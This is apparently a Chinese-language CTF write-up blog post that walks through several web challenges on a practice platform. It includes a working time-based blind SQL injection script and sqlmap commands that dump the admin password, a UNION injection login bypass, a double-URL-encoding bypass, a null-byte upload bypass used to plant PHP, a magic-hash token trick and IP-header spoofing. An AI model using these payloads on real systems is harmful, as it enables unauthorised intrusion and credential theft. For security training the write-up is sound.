看起来有点难
这道题有点坑,打开页面去试下登录,发现输入admin/admin会报登录失败,错误的用户名和密码,其他的就说数据库没有连上,一开始真的以为没有连上..............
然后后面看了下别人的评论,题目没错,那就可能是除了admin其他都是定义好了跳出来数据库没连上
http://ctf5.shiyanbar.com/basic/inject/index.php?username=admin' and sleep(10) and ''='&pass=&action=login
然后看见是有延时的,也就是说是可以时间盲注
然后脚本贴一波
#-*-coding:utf-8-*-
import requests
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*'
flag = ""
key = 0
print("start")
for i in range(1,50):
if key == 1:
break
for payload in payloads:
starttime = time.time() #记录当前时间
headers ={ #header头信息
"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-lanuage": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Connection": "keep-alive",
"Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1526381912,1526540869,1527213157,1527225613; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*131924%2CnickName%3AXi4or0uji; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1527238356; source=1",
}
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload) #数据库
res = requests.get(url, headers=headers)
if time.time() - starttime > 10:
flag += payload
print("pwd is:%s"%flag)
break
else:
if payload == '*':
key = 1
break
print('[Finally] current pwd is %s '%flag)
然后跑出来的结果是这样的
到了这里,拿admin和idnuenna登录就行了
这道题还可以sqlmap一波,不过很慢很慢...............
爆数据库
sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs
爆表
sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" -D test --tables
爆字段
sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" -D test -T admin --columns
爆密码
sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" -D test -T admin -C password --dump
最后登录拿flag
程序逻辑问题
进去调试看见有个index.txt,访问试一下
<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
题目说的很清楚,读代码去找漏洞就是了
上面的sql语句看见user是可以进行注入的,然后后面又要查询查来的东西的里面pw的md5值是不是跟输入的密码的md5值相同,如果相同就出flag,然后到了这里就可以构造payload了
user=1' and 0=1 union select md5(1)#
pass=1
解释一波
这里的username前面and0=1可以让前面的查询不成功,然后后面再给一个值,那样的话就会返回一个md5(1)的值了,password再输入一个1,刚好就可以绕过出flag了
php大法
这道题进去就叫你看index.php.txt,然后有段源码
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
<br><br>
Can you authenticate to this website?
然后题目大概意思是要输入一个id,他的值不能是heckerDJ,但是urldecode后要是hackerDJ,看起来很矛盾,但是我们发现,浏览器传输过程是会对url进行解码的,所以我们就可以进行二次加密,构造payload
shell?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
上传绕过
先发一张图片,然后就
那我传个php行了吧
妙啊................
这个是考了0x00截断
路径uploads/a.php+1.1.jpg如果将+的十六进制改成00,那么会认为路径已经截断了,后面的值1.1.jpg就会覆盖到前面的值,所以这样就可以绕过了
用repeater改一下加号改成00
然后go就有flag了
这里文件上传漏洞找到一篇挺好的博客
https://blog.csdn.net/wy_97/article/details/76549761
忘记密码了
这个题目真的要很细心...........发送邮件然后就看到
有个弹窗给个路径,访问下路径说没有定义然后跳回step1
但是可以看见后台是用vim写的,找下备份文件,最后在http://ctf5.shiyanbar.com/10/upload/.submit.php.swp找
所以submit的认证就是前面是管理员的邮箱地址,后面加个token,token的要求是值为0同时长度为10,这里用个科学计数法就可以绕过了,但是管理员邮箱鬼知道它是什么啊........................
后面看见前面已经给了admin@simplexue.com
然后payload都出来了
http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0e00000000
这里注意的是提交到submit.php,就第二张抓包的图里说了
貌似有点难
这题巨简单好吧.........
题目给了源码
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
其实就是改下ip就行了,用火狐改个代理flag就出来了
头有点大
这题提示巨明显
也是火狐改下代理,浏览器是ie,net framework是.NET CLR 9.9,最后语言是en-gb
发送getflag